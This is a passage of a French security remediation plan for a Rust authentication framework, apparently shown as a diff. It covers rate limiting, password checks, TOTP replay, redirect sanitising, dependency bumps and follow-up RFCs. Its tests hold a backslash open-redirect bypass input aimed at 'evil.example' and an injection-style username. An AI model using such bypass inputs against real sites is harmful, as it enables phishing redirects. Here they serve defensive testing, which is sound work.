| 573 | +Pas de `break` retiré : l’index qui matche n’est pas un secret (l’attaquant connaît son code). Garder le court-circuit `found_index = Some(i); break;` **à l’intérieur** du `spawn_blocking`. Objectif M-8 = ne pas bloquer le runtime, pas un bcrypt constant-time. | |
| 574 | + | |
| 575 | +Ne **pas** changer `bcrypt::hash` de génération (l.431) dans ce patch si c’est au setup (rare) — bonus acceptable : hasher aussi via `spawn_blocking`. | |
| 576 | + | |
| 577 | +--- | |
| 578 | + | |
| 579 | +### Task 6 : Rate limiter email partagé (M-3) | |
| 580 | + | |
| 581 | +**Files:** | |
| 582 | +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:36-41` | |
| 583 | +- Modify: `crates/rustwarden-core/src/services/email_validation_service.rs:35-40` | |
| 584 | + | |
| 585 | +`RateLimitService` est déjà `Clone` (Arc interne, `rate_limit_service.rs:61-65`). Le bug est `RateLimitService::new()` **par requête**. | |
| 586 | + | |
| 587 | +- [ ] **Step 1: Failing test** | |
| 588 | + | |
| 589 | +```rust | |
| 590 | +#[test] | |
| 591 | +fn cloned_limiters_share_buckets() { | |
| 592 | + let a = RateLimitService::new(); | |
| 593 | + let b = a.clone(); | |
| 594 | + for _ in 0..3 { | |
| 595 | + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 596 | + .unwrap(); | |
| 597 | + } | |
| 598 | + assert!(b | |
| 599 | + .check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 600 | + .is_err()); | |
| 601 | +} | |
| 602 | +``` | |
| 603 | + | |
| 604 | +Ce test passe déjà (Clone = Arc). Le test métier manquant : | |
| 605 | + | |
| 606 | +```rust | |
| 607 | +#[test] | |
| 608 | +fn independent_new_does_not_share() { | |
| 609 | + let a = RateLimitService::new(); | |
| 610 | + let b = RateLimitService::new(); | |
| 611 | + for _ in 0..3 { | |
| 612 | + a.check_sliding_window("k", 3, Duration::from_secs(3600)).unwrap(); | |
| 613 | + } | |
| 614 | + assert!(b.check_sliding_window("k", 3, Duration::from_secs(3600)).is_ok()); | |
| 615 | +} | |
| 616 | +``` | |
| 617 | + | |
| 618 | +Documente *pourquoi* `new()` par requête est inerte. | |
| 619 | + | |
| 620 | +- [ ] **Step 2: Implementation** | |
| 621 | + | |
| 622 | +Dans `password_reset_service.rs` : | |
| 623 | + | |
| 624 | +```rust | |
| 625 | +use std::sync::OnceLock; | |
| 626 | + | |
| 627 | +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 628 | + | |
| 629 | +impl PasswordResetService { | |
| 630 | + pub fn new(email_config: EmailConfig) -> Self { | |
| 631 | + Self { | |
| 632 | + email_config, | |
| 633 | + rate_limiter: PASSWORD_RESET_LIMITER | |
| 634 | + .get_or_init(RateLimitService::new) | |
| 635 | + .clone(), | |
| 636 | + } | |
| 637 | + } | |
| 638 | +} | |
| 639 | +``` | |
| 640 | + | |
| 641 | +Même schéma `EMAIL_VALIDATION_LIMITER` dans `email_validation_service.rs`. **Deux** OnceLock distincts (budgets séparés, clés déjà préfixées `pwd_reset:` / `email_verify:` — séparés par prudence). | |
| 642 | + | |
| 643 | +Signature `new(email_config)` **inchangée** → pas de RFC. | |
| 644 | + | |
| 645 | +**Mitigation DoS (une seule, obligatoire) :** quand `sliding.len() >= MAX_ENTRIES` et que la clé est inconnue, **évincer la clé dont le timestamp le plus récent est le plus ancien** (LRU approximatif), puis insérer. Ne **plus** `return Err(TooManyRequests)` pour une clé neuve (c’est ça qui DoS le reset légitime). `cleanup_loop` reste de l’hygiène mémoire, pas la borne. | |
| 646 | + | |
| 647 | +```rust | |
| 648 | +if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) { | |
| 649 | + if let Some(oldest) = sliding | |
| 650 | + .iter() | |
| 651 | + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now)) | |
| 652 | + .map(|(k, _)| k.clone()) | |
| 653 | + { | |
| 654 | + sliding.remove(&oldest); | |
| 655 | + } | |
| 656 | +} | |
| 657 | +``` | |
| 658 | + | |
| 659 | +Spawn `cleanup_loop` **sans panic** : | |
| 660 | + | |
| 661 | +```rust | |
| 662 | +if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 663 | + handle.spawn(limiter.clone().cleanup_loop(Duration::from_secs(300), Duration::from_secs(3600))); | |
| 664 | +} else { | |
| 665 | + tracing::warn!("password-reset limiter: no tokio runtime, cleanup_loop not started"); | |
| 666 | +} | |
| 667 | +``` | |
| 668 | + | |
| 669 | +Tests : `#[cfg(test)] pub(crate) fn new_with_limiter`. Critère : 200 000 clés distinctes injectées (ou `MAX_ENTRIES+1` dans le test avec un cap testable — si `MAX_ENTRIES` est une const 100_000, tester via un `check_sliding_window` en boucle jusqu’à `MAX_ENTRIES+10` puis une clé `legit@x.test` **acceptée**). Pour ne pas durer 10 s en CI, extraire `evict_if_full` et tester avec une map de 8 entrées / cap 8. | |
| 670 | + | |
| 671 | +Ordre vs Task 7 : Task 6 d’abord (constructeur), Task 7 ensuite (`reset_password`) — même fichier, pas de conflit de hunks si on sépare ctor et méthode. | |
| 672 | + | |
| 673 | +--- | |
| 674 | + | |
| 675 | +### Task 7 : Complexité mot de passe dans `reset_password` (M-2) | |
| 676 | + | |
| 677 | +**Files:** | |
| 678 | +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:224-234` | |
| 679 | +- Use: `crate::middleware::password_complexity::validate_password_complexity` | |
| 680 | + | |
| 681 | +Le handler API (`auth/handlers.rs:1202-1207`) valide déjà. Le service, non. Tout appel direct (admin, consommateur) contourne. | |
| 682 | + | |
| 683 | +**Ordre (atomicité) :** `validate_password_complexity` **immédiatement après** `validate_token` (l.231), **avant** `hash_password` (l.234) et **avant** `used_at` (l.248-257). Un mot rejeté ne doit pas consommer le token. | |
| 684 | + | |
| 685 | +- [ ] **Step 1: Test** — `reset_password` avec password `"a"` → `AppError::Validation`. Token encore réutilisable (`used_at` IS NULL). | |
| 686 | + | |
| 687 | +- [ ] **Step 2:** | |
| 688 | + | |
| 689 | +```rust | |
| 690 | +let user_id = self.validate_token(db, token).await?; | |
| 691 | +crate::middleware::password_complexity::validate_password_complexity(db, new_password).await?; | |
| 692 | +let password_hash = PasswordService::hash_password(new_password).await?; | |
| 693 | +``` | |
| 694 | + | |
| 695 | +Hors 1.0.1 (trou Architect, F-AUTH) : le reset ne révoque ni PAT ni JWT d’accès (seulement refresh l.259-270). Non-goal du CHANGELOG. | |
| 696 | + | |
| 697 | +--- | |
| 698 | + | |
| 699 | +### Task 8 : Bootstrap admin (F-AUTH) | |
| 700 | + | |
| 701 | +**Files:** | |
| 702 | +- Modify: `crates/rustwarden-core/src/services/default_admin_service.rs:32-42` | |
| 703 | +- Use: `AdminConfig::validate` (`config/admin.rs:36-60`) + `PasswordRules::default().validate` | |
| 704 | + | |
| 705 | +Aujourd’hui `ensure_default_admin` ignore `validate()`. `ADMIN_PASSWORD=password` (8 chars, minuscules) **passe** `validate()` (seulement `len >= 8`) mais **échoue** `PasswordRules::default()` (`require_uppercase` + `require_digits`). | |
| 706 | + | |
| 707 | +**Bloquant Architect :** ne **pas** valider aux lignes 32-42 (avant les early-return « un admin existe déjà », l.46-53). Un `.env` de prod avec `ADMIN_PASSWORD` faible *résiduel* casserait le boot alors que l’admin est déjà créé — breaking de défaut, interdit en patch. Valider **uniquement** sur le chemin de création, après l.65. | |
| 708 | + | |
| 709 | +- [ ] **Step 1: Tests unitaires sur `AdminConfig::validate` + `PasswordRules`** (déjà testables sans DB) | |
| 710 | + | |
| 711 | +```rust | |
| 712 | +#[test] | |
| 713 | +fn default_rules_reject_password_literal() { | |
| 714 | + let rules = PasswordRules::default(); | |
| 715 | + assert!(rules.validate("password").is_err()); | |
| 716 | +} | |
| 717 | + | |
| 718 | +#[test] | |
| 719 | +fn default_rules_accept_mixed() { | |
| 720 | + let rules = PasswordRules::default(); | |
| 721 | + assert!(rules.validate("CorrectHorse1").is_ok()); | |
| 722 | +} | |
| 723 | +``` | |
| 724 | + | |
| 725 | +- [ ] **Step 2:** Dans `ensure_default_admin`, **après** `if !admins.is_empty() { return Ok(()) }` et après le skip username existant, **avant** `hash_password` : | |
| 726 | + | |
| 727 | +```rust | |
| 728 | +config | |
| 729 | + .validate() | |
| 730 | + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?; | |
| 731 | +crate::middleware::password_complexity::PasswordRules::default() | |
| 732 | + .validate(password) | |
| 733 | + .map_err(|errs| AppError::Validation(errs.join("; ")))?; | |
| 734 | +``` | |
| 735 | + | |
| 736 | +Échec = `Err` propagé **seulement** si on allait vraiment créer l’admin. `CREATE_DEFAULT_ADMIN=false` et « admin déjà présent » restent no-op. | |
| 737 | + | |
| 738 | +--- | |
| 739 | + | |
| 740 | +### Task 9 : Normaliser `\` dans `sanitize_redirect` (défense en profondeur) | |
| 741 | + | |
| 742 | +**Files:** | |
| 743 | +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs:29-36` | |
| 744 | +- Test: `auth_service.rs` tests existants l.454-476 | |
| 745 | + | |
| 746 | +**Pas un open redirect vivant** dans rustwarden-ui : `login.html` `getSafeRedirect()` exige same-origin. Priorité basse. On durcit le serveur pour les consommateurs qui lisent `?redirect=` naïvement. | |
| 747 | + | |
| 748 | +- [ ] **Step 1: Failing test** | |
| 749 | + | |
| 750 | +```rust | |
| 751 | +#[test] | |
| 752 | +fn sanitize_redirect_rejects_backslash_trick() { | |
| 753 | + let out = sanitize_redirect("/\\evil.example", "/login"); | |
| 754 | + assert_eq!(out, "/login"); | |
| 755 | +} | |
| 756 | +``` | |
| 757 | + | |
| 758 | +- [ ] **Step 2:** | |
| 759 | + | |
| 760 | +```rust | |
| 761 | +pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String { | |
| 762 | + let path = uri.replace('\\', "/"); | |
| 763 | + if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') { | |
| 764 | + format!("{login_path}?redirect={}", urlencoding::encode(&path)) | |
| 765 | + } else { | |
| 766 | + login_path.to_string() | |
| 767 | + } | |
| 768 | +} | |
| 769 | +``` | |
| 770 | + | |
| 771 | +Après remplacement, `/\evil.example` devient `//evil.example` → rejeté par `!starts_with("//")`. | |
| 772 | + | |
| 773 | +--- | |
| 774 | + | |
| 775 | +### Task 10 : Bumps deps (E-12 collatéral) | |
| 776 | + | |
| 777 | +**Files:** | |
| 778 | +- `Cargo.lock` via `cargo update` (pas de pin `"0.19.2"` dans Cargo.toml sauf échec) | |
| 779 | + | |
| 780 | +Cibles audit 2026-09-17. **Stratégie lockfile :** garder `bcrypt = "0.19"` dans `Cargo.toml` (semver compatible) et `cargo update -p bcrypt -p rustls -p h2` pour forcer le lock. Ne pas pinner `"0.19.2"` dans Cargo.toml sauf si `cargo update` ne suffit pas — ça constraindra moins les consommateurs. | |
| 781 | + | |
| 782 | +| Crate | Actuel (lock) | Cible | | |
| 783 | +|-------|---------------|-------| | |
| 784 | +| bcrypt | 0.19.0 | ≥ 0.19.2 | | |
| 785 | +| rustls | 0.23.37 (transitif) | ≥ 0.23.45 | | |
| 786 | +| h2 | 0.4.13 (transitif) | ≥ 0.4.16 | | |
| 787 | + | |
| 788 | +- [ ] **Step 1:** `cargo update -p bcrypt -p rustls -p h2` (ajuster les noms de paquets lockfile). | |
| 789 | +- [ ] **Step 2:** `cargo audit` — les avis RUSTSEC-2026-0199 / -0285 / -0258 doivent disparaître. `russh` n’est **pas** une dep Rustwarden (Gitrust). | |
| 790 | +- [ ] **Step 3:** `cargo test --workspace` + `cargo clippy --workspace -- -D warnings`. | |
| 791 | + | |
| 792 | +--- | |
| 793 | + | |
| 794 | +### Task 11 : Postgres dev bind (E-18 analogue) | |
| 795 | + | |
| 796 | +**Files:** | |
| 797 | +- Modify: `database/docker-compose.yml:8-16` | |
| 798 | +- Modify: `database/env.sample` (contient `POSTGRES_PASSWORD=change_me_in_production` — le garder comme **exemple local**, pas comme fallback compose) | |
| 799 | + | |
| 800 | +```yaml | |
| 801 | + environment: | |
| 802 | + - POSTGRES_DB=${POSTGRES_DB:-database} | |
| 803 | + - POSTGRES_USER=${POSTGRES_USER:-user} | |
| 804 | + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env} | |
| 805 | + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom). | |
| 806 | + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 : | |
| 807 | + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32} | |
| 808 | + ports: | |
| 809 | + - "127.0.0.1:5432:5432" | |
| 810 | +``` | |
| 811 | + | |
| 812 | +Ne plus fournir `pass3ord` en fallback. `database/.env` local (non versionné) reste la source. Documenter dans rustdoc / README la contrainte `:?`. | |
| 813 | + | |
| 814 | +Ceci casse `docker compose up` **sans** `.env` — c’est le but. Vérifier `README.md` § database. | |
| 815 | + | |
| 816 | +--- | |
| 817 | + | |
| 818 | +### Task 12 : CHANGELOG + notice 14 jours | |
| 819 | + | |
| 820 | +- [ ] Entrée `## [1.0.1] - 2026-09-XX — Security` | |
| 821 | +- [ ] Lister E-3, C-7, M-2, M-3, M-8, force-2FA, 2FA rate-limit, admin bootstrap, sanitize `\`, bumps, PG bind | |
| 822 | +- [ ] Rappeler la fenêtre d’adoption 14 jours ([RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §9) | |
| 823 | + | |
| 824 | +--- | |
| 825 | + | |
| 826 | +## Phase 1 — Rédiger les RFCs (avant tout code) | |
| 827 | + | |
| 828 | +Numéros libres après 0035. Suivre [docs/rfcs/0000-template.md](../rfcs/0000-template.md) : 3 alternatives min, grille 7 critères, testing plan, migration. | |
| 829 | + | |
| 830 | +Mettre à jour [docs/rfcs/README.md](../rfcs/README.md) index. | |
| 831 | + | |
| 832 | +Chaque RFC : statut `Draft` → PR `Under Review` → score ≥ 25/35 → `Accepted` → **alors seulement** Phase 2. | |
| 833 | + | |
| 834 | +### Task 13 : RFC 0036 — Validation charset `username` | |
| 835 | + | |
| 836 | +**Create:** `docs/rfcs/0036-username-charset-validation.md` | |
| 837 | + | |
| 838 | +**Summary :** Introduire `Username` (newtype, patron `TeamSlug`) et l’appliquer dans `UserService::create_user`, `update_profile`, `RegisterRequest`. | |
| 839 | + | |
| 840 | +**Règles proposées (alignées GitHub / audit M-1) :** | |
| 841 | + | |
| 842 | +- `^[a-z0-9-]{3,39}$` | |
| 843 | +- pas de `--`, pas de `-` en tête/queue | |
| 844 | +- lowercase imposé à `parse` (trim + `to_ascii_lowercase`) **ou** rejet si majuscule — **décision RFC : rejet (pas de fold silencieux)** pour éviter les collisions `Alice`/`alice` | |
| 845 | +- réservés : réutiliser / étendre `TeamSlug::RESERVED` + `me`, `explore`, `robots.txt` n’est pas un username | |
| 846 | + | |
| 847 | +**Grandfathering :** pas de CHECK SQL sur `users.username`. Les comptes existants hors charset restent loggables. Seuls create + rename sont fermés. | |
| 848 | + | |
| 849 | +**API :** | |
| 850 | + | |
| 851 | +```rust | |
| 852 | +// crates/rustwarden-core/src/types/username.rs | |
| 853 | +pub struct Username(String); | |
| 854 | +impl Username { | |
| 855 | + pub fn parse(raw: &str) -> Result<Self, AppError> { /* ... */ } | |
| 856 | + pub fn as_str(&self) -> &str { &self.0 } | |
| 857 | +} | |
| 858 | +``` | |
| 859 | + | |
| 860 | +`UserService::create_user` appelle `Username::parse` **avant** insert. `RegisterRequest` garde `validator` length **et** parse. | |
| 861 | + | |
| 862 | +**Alternatives :** (A) newtype + parse aux frontières — retenue. (B) regex uniquement sur `RegisterRequest` — contourné par `create_user`. (C) ne rien faire — Gitrust newtype forever. | |
| 863 | + | |
| 864 | +**Score estimé :** Généralité 5, Stabilité 4 (rejet de payloads autrefois 200), Perf 5, Sécu 5, Complexité 4, Maintenance 5, Doc 4 → **32/35**. | |
| 865 | + | |
| 866 | +**Tests (après Accept) :** copier la batterie `team_slug.rs:76+` ; plus un test `create_user` DB qui refuse `` x`id`y ``. | |
| 867 | + | |
| 868 | +--- | |
| 869 | + | |
| 870 | +### Task 14 : RFC 0037 — Anti-rejeu TOTP `last_used_step` | |
| 871 | + | |
| 872 | +**Create:** `docs/rfcs/0037-totp-last-used-step.md` | |
| 873 | + | |
| 874 | +**Motivation :** persister en multi-instance le garde in-process livré en 1.0.1. `totp.check_current` accepte le même code ~90 s (step 30 s, skew 1). | |
| 875 | + | |
| 876 | +**Non-goals :** MITM interactif (Evilginx live : le code n’est présenté qu’une fois). Changer l’algorithme / skew. Backup codes (déjà one-shot). | |
| 877 | + | |
| 878 | +**Quel step stocker :** ne pas stocker « now/30 ». Appeler `matching_totp_step` (Task 2) : tester step `t`, `t-1`, `t+1` (skew=1), retenir **le step qui a matché**. Sans ça, un code de la fenêtre précédente est accepté puis un second code du step courant peut passer, ou l’inverse. | |
| 879 | + | |
| 880 | +**Verdict concurrence :** | |
| 881 | + | |
| 882 | +```sql | |
| 883 | +UPDATE user_totp | |
| 884 | +SET last_used_step = $step | |
| 885 | +WHERE user_id = $id | |
| 886 | + AND (last_used_step IS NULL OR last_used_step < $step) | |
| 887 | +``` | |
| 888 | + | |
| 889 | +Succès **ssi** `rows_affected == 1`. Sinon traiter comme code invalide (pas d’oracle). | |
| 890 | + | |
| 891 | +**Schéma :** colonne `last_used_step BIGINT NULL` (migration SeaORM, pas de SQL applicatif). | |
| 892 | + | |
| 893 | +**Alternatives :** (A) colonne — retenue pour multi-instance. (B) garde in-process seul (déjà 1.0.1) — insuffisant dès 2 réplicas. (C) ne rien persister. | |
| 894 | + | |
| 895 | +**RFC obligatoire** : migration DB (§2). Score grille amélioré parce que le comportement est déjà garanti en simple instance. | |
| 896 | + | |
| 897 | +--- | |
| 898 | + | |
| 899 | +### Task 15 : RFC 0038 — Changement d’email + revalidation | |
| 900 | + | |
| 901 | +**Create:** `docs/rfcs/0038-email-change-revalidation.md` | |
| 902 | + | |
| 903 | +**Bug actuel :** `UserService::update_profile` (`user_service.rs:190-205`) écrit `email` et conserve `email_verified`. | |
| 904 | + | |
| 905 | +**Proposition v1 (YAGNI, pas de table pending) :** | |
| 906 | + | |
| 907 | +1. Si `new_email != old` : `email_verified = false`, `email_verified_at = NULL`. | |
| 908 | +2. Enqueue validation vers **la nouvelle** adresse (`EmailValidationService::send_validation_email`). | |
| 909 | +3. Enqueue alerte vers **l’ancienne** (« votre email a été changé »). | |
| 910 | +4. Hook existant `on_email_verified` inchangé ; nouveau warn dans `on_audit_event` si câblé. | |
| 911 | + | |
| 912 | +**v2 (hors RFC si score) :** table `pending_email_changes` + confirmation lien — plus sûr contre prise de contrôle, plus de schéma. La RFC doit **évaluer** v2 et peut la marquer follow-up si v1 ≥ 25/35. | |
| 913 | + | |
| 914 | +**Breaking :** un user « vérifié » qui change d’email perd l’accès si `validation_email_required` (voulu). | |
| 915 | + | |
| 916 | +--- | |
| 917 | + | |
| 918 | +### Task 16 : RFC 0039 — `SecurityHeadersConfig` (CSP / COOP) | |
| 919 | + | |
| 920 | +**Create:** `docs/rfcs/0039-security-headers-config.md` | |
| 921 | + | |
| 922 | +**Ne pas** changer le défaut CSP dans le même train que le patch `1.0.1`. | |
| 923 | + | |
| 924 | +**API additive :** | |
| 925 | + | |
| 926 | +```rust | |
| 927 | +#[derive(Clone, Debug)] | |
| 928 | +pub struct SecurityHeadersConfig { | |
| 929 | + pub content_security_policy: Cow<'static, str>, | |
| 930 | + pub cross_origin_opener_policy: Option<Cow<'static, str>>, | |
| 931 | + pub cross_origin_resource_policy: Option<Cow<'static, str>>, | |
| 932 | +} | |
| 933 | + | |
| 934 | +impl Default for SecurityHeadersConfig { | |
| 935 | + fn default() -> Self { | |
| 936 | + Self { | |
| 937 | + content_security_policy: Cow::Borrowed( | |
| 938 | + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...", | |
| 939 | + ), | |
| 940 | + cross_origin_opener_policy: None, // v1 : opt-in same-origin | |
| 941 | + cross_origin_resource_policy: None, | |
| 942 | + } | |
| 943 | + } | |
| 944 | +} | |
| 945 | +``` | |
| 946 | + | |
| 947 | +Builder : `RustwardenApp::builder().security_headers(cfg)`. | |
| 948 | + | |
| 949 | +**Câblage (Architect) : PAS `Extension`.** Dans `app.rs:689-705`, `security_headers_middleware` est **plus externe** que les `Extension(...)`. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` y est toujours `None` sur le chemin aller. Capturer `Arc<SecurityHeadersConfig>` à la construction : | |
| 950 | + | |
| 951 | +```rust | |
| 952 | +.layer(axum::middleware::from_fn({ | |
| 953 | + let cfg = headers_cfg.clone(); | |
| 954 | + move |req, next| { | |
| 955 | + let cfg = cfg.clone(); | |
| 956 | + async move { security_headers_middleware(cfg, req, next).await } | |
| 957 | + } | |
| 958 | +})) | |
| 959 | +``` | |
| 960 | + | |
| 961 | +Même patron que le layer custom `app.rs:698`. | |
| 962 | + | |
| 963 | +**Phase 2 de la RFC (après Accept + Alpine CSP) :** défaut sans `'unsafe-eval'`. Référencer [PLAN_CSP_HTMX.md](PLAN_CSP_HTMX.md). | |
| 964 | + | |
| 965 | +**Gitrust** pourra alors retirer `SetResponseHeaderLayer::overriding`. | |
| 966 | + | |
| 967 | +--- | |
| 968 | + | |
| 969 | +### Task 17 : RFC 0040 — `AuthService` honore `validation_email_required` | |
| 970 | + | |
| 971 | +**Create:** `docs/rfcs/0040-authenticate-user-email-verified.md` | |
| 972 | + | |
| 973 | +**Bug :** le check vit dans `auth/handlers.rs:318-345`, pas dans `AuthService::authenticate_user` (`services/auth_service.rs:109-121`). Gitrust (et tout SSR) qui appelle le service **contourne**. | |
| 974 | + | |
| 975 | +**Proposition :** déplacer le check dans `authenticate_user` (même `get_bool_with_fallback(..., ["validation_email_required", "validation_email_requise"], true)`). | |
| 976 | + | |
| 977 | +**Exception bootstrap :** déjà `email_verified=true` dans `default_admin_service.rs:84`. **Ne pas** re-travailler ce seed. La RFC ne fait que déplacer le check login dans `AuthService`. | |
| 978 | + | |
| 979 | +**E-2 :** préciser dans Non-goals / contrat : limiteur login = `check_auth_rate_limit` sur `/api/v1/auth/*`. Les apps SSR POST `/login` doivent soit appeler ce helper, soit passer par l’API. Pas de nouveau middleware browser obligatoire. | |
| 980 | + | |
| 981 | +--- | |
| 982 | + | |
| 983 | +## Phase 2 — Implémenter les RFCs acceptées | |
| 984 | + | |
| 985 | +Une tâche par RFC, TDD, migration SeaORM uniquement (pas de SQL brut applicatif). | |
| 986 | + | |
| 987 | +Ordre : **0036 → 0037 → 0038 → 0040 → 0039**. | |
| 988 | + | |
| 989 | +Justification : 0036 ferme la cause racine username pour tous les consommateurs (Scénario A côté framework). 0037/0038/0040 ferment l’authn. 0039 est défense en profondeur UI, dépend d’Alpine. | |
| 990 | + | |
| 991 | +### Task 18 : Implémenter RFC 0036 | |
| 992 | + | |
| 993 | +- [ ] Create `crates/rustwarden-core/src/types/username.rs` (copie structurelle de `team_slug.rs`) | |
| 994 | +- [ ] Exporter via `types/mod.rs` + prelude | |
| 995 | +- [ ] `UserService::create_user` + `update_profile` (branche username) | |
| 996 | +- [ ] `RegisterRequest` : after-validate parse | |
| 997 | +- [ ] Admin `CreateUserRequest` (les deux handlers) | |
| 998 | +- [ ] Tests charset + reserved + grandfather (update email sans toucher username OK) | |
| 999 | +- [ ] rustdoc anglais | |
| 1000 | + | |
| 1001 | +### Task 19 : Implémenter RFC 0037 | |
| 1002 | + | |
| 1003 | +- [ ] Migration `m20260917_000010_totp_last_used_step.rs` + enregistrer dans le migrator | |
| 1004 | +- [ ] Colonne `last_used_step: Option<i64>` sur `user_totp::Model` | |
| 1005 | +- [ ] `verify` : calculer step, comparer, update conditionnel | |
| 1006 | +- [ ] Test : deux `verify` du même code dans la fenêtre → second `Ok(false)` / `TotpInvalid` | |
| 1007 | + | |
| 1008 | +### Task 20 : Implémenter RFC 0038 | |
| 1009 | + | |
| 1010 | +- [ ] `update_profile` : si email change, reset flags + send mail + alerte ancienne | |
| 1011 | +- [ ] Si SMTP absent : quand même reset `email_verified` (fail-closed accès, pas fail-open mail) | |
| 1012 | +- [ ] Tests DB | |
| 1013 | + | |
| 1014 | +### Task 21 : Implémenter RFC 0040 | |
| 1015 | + | |
| 1016 | +- [ ] Move check into `AuthService::authenticate_user` | |
| 1017 | +- [ ] Handler login : ne plus dupliquer (appel service suffit) | |
| 1018 | +- [ ] Test : user non vérifié + setting true → err ; setting false → ok | |
| 1019 | + (seed admin déjà `email_verified=true`, ne pas y toucher) | |
| 1020 | + | |
| 1021 | +### Task 22 : Implémenter RFC 0039 | |
| 1022 | + | |
| 1023 | +- [ ] `SecurityHeadersConfig` + builder | |
| 1024 | +- [ ] Middleware lit la config **capturée à la construction** (pas Extension — voir RFC 0039) | |
| 1025 | +- [ ] Tests : défaut inchangé ; override CSP ; COOP opt-in | |
| 1026 | +- [ ] **Ne pas** retirer `unsafe-inline` tant que Phase 1 Alpine CSP n’est pas faite (tâche séparée, plan existant) | |
| 1027 | + | |
| 1028 | +--- | |
| 1029 | + | |
| 1030 | +## Phase 3 — Doc consommateur et CLI | |
| 1031 | + | |
| 1032 | +### Task 23 | |
| 1033 | + | |
| 1034 | +- [ ] `docs/developer-guide/07-security-model.md` : username, TOTP caps, headers config | |
| 1035 | +- [ ] Mention `update-project` + fenêtre 14 jours | |
| 1036 | +- [ ] Wizard : `.env.example` sans placeholder JWT **ni** `ADMIN_PASSWORD=REMPLACER_…` (Task 1) ; premier `cargo run` d’un projet scaffoldé boot ou échoue avec message actionnable | |
| 1037 | +- [ ] rustdoc `///` anglais sur toute API nouvelle (`missing_docs = warn`) | |
| 1038 | + | |
| 1039 | +--- | |
| 1040 | + | |
| 1041 | +## Risques et mitigations | |
| 1042 | + | |
| 1043 | +| Risque | Mitigation | | |
| 1044 | +|--------|------------| | |
| 1045 | +| `OnceLock` pollue les tests / DoS sliding | éviction LRU au cap (Task 6) ; `new_with_limiter` ; `Handle::try_current` | | |
| 1046 | +| `auth:{ip}` saturera `check_window` au cap | follow-up : réutiliser `evict_if_full` ; atténué par `retain` 60 s — hors 1.0.1 | | |
| 1047 | +| Double rate-limit 2FA | **IP seule** en 1.0.1 + plafond `create_challenge` ; pas de clé `totp:{user_id}` | | |
| 1048 | +| `delete_user` ne blacklist pas les JWT d’accès | Hors 1.0.1 (TTL 15 min) ; follow-up F-AUTH | | |
| 1049 | +| Reset MDP ne révoque pas PAT | Hors 1.0.1 ; F-AUTH Lot 7 Gitrust / RFC ultérieure | | |
| 1050 | +| `to_ascii_uppercase` sur JWT_SECRET non-ASCII | secret JWT est ASCII par convention ; `to_ascii_uppercase` ignore les non-ASCII — OK | | |
| 1051 | +| `cargo update rustls` casse `native-tls` | update ciblé ; CI test workspace | | |
| 1052 | +| `POSTGRES_PASSWORD:?` casse onboarding | README + wizard écrivent déjà `database/.env` | | |
| 1053 | +| RFC 0036 lowercase breaking | rejet explicite + message ; pas de fold | | |
| 1054 | + | |
| 1055 | +--- | |
| 1056 | + | |
| 1057 | +## Critères d’acceptation (testables) | |
| 1058 | + | |
| 1059 | +**Patch 1.0.1** | |
| 1060 | + | |
| 1061 | +1. `jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE")` == true ; secret hex 64 == false. | |
| 1062 | +2. Somme des `attempts` TOTP ≥ 15 sur 15 min → `TotpMaxAttemptsExceeded` (même si aucun challenge n’a 5 essais). | |
| 1063 | +3. `totp_replay_guard_accept(uid, 42)` deux fois → second false. | |
| 1064 | +4. Test **obligatoire** `MockConnectInfo` : deux IPs, 11e POST `/api/v1/auth/login` de la 1re → 429, même batterie sur la 2e → pas 429. Idem `/2fa/verify`. | |
| 1065 | +5. Après remplissage du sliding map au cap, une clé email neuve est **acceptée** (éviction, pas 429 global). Deux `PasswordResetService::new` partagent le budget 3/h. | |
| 1066 | +6. `reset_password` avec mot `a` → Validation ; token non consommé. | |
| 1067 | +7. `verify_backup_code` passe par `spawn_blocking` (court-circuit `break` conservé). | |
| 1068 | +8. `map_user_lookup(Err)` → Unavailable ; `map_user_lookup(Ok(None))` → Unauth ; `totp_force_gate(Err)` → Unavailable. Grep final sans `is_ok_and` / `if let Ok(Some` sur la branche protégée. | |
| 1069 | +9. `sanitize_redirect("/\\evil.example", "/login") == "/login"`. | |
| 1070 | +10. `PasswordRules::default().validate("password")` Err ; bootstrap **création** refuse ce mot **et** `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ; boot **no-op** si un admin existe déjà malgré un `.env` faible. | |
| 1071 | +11. `cargo audit` : plus de RUSTSEC bcrypt 0.19.0 / rustls 0.23.37 / h2 0.4.13 sur le lockfile framework. | |
| 1072 | +12. `database/docker-compose.yml` bind `127.0.0.1:5432`, plus de `pass3ord` en défaut compose. | |
| 1073 | +13. `cargo clippy --workspace -- -D warnings` vert. | |
| 1074 | +14. Aucun item `pub` ajouté/modifié/supprimé. Handlers `login`/`register`/… signatures inchangées. `check_auth_rate_limit(HeaderMap)` inchangée. Passphrase contenant `change-me` **accepte** (pas de `contains`). | |
| 1075 | + | |
| 1076 | +**RFCs** | |
| 1077 | + | |
| 1078 | +15. Cinq fichiers `docs/rfcs/0036`…`0040` au template, 3 alternatives, score renseigné. | |
| 1079 | +16. Après Accept+impl 0036 : `Username::parse` refuse un username avec backtick ; `create_user` idem. | |
| 1080 | +17. Après 0037 : rejeu même step rejeté (`rows_affected == 0`). | |
| 1081 | +18. Après 0038 : `email_verified` false après changement d’email. | |
